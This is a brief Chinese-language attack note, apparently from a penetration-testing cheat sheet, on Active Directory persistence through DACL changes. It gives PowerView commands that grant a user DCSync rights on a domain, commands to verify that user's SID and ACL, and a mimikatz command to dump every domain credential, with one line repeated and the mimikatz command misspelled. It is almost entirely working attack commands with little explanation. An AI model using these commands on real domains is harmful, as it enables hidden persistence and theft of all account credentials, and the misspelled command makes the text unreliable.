DACL权限维持
Add-DomainObjectAcl -TargetIdentity "DC=fbi,DC=gov" -PrincipalIdentity test2 -Rights DCSync -Verbose





Last updated
Add-DomainObjectAcl -TargetIdentity "DC=fbi,DC=gov" -PrincipalIdentity test2 -Rights DCSync -Verbose





Last updated
Get-DomainUser -Identity test2 -Properties objectsid
# 查看test2的sid
Get-DomainObjectAcl -Identity "DC=fbi,DC=gov" | ?{$_.SecurityIdentifier -match "S-1-5-21-124841762-3349575232-3850797422-3610"}
# 查看对应sid用户的权限mimikatz
lsadump::dcysnc /all /csv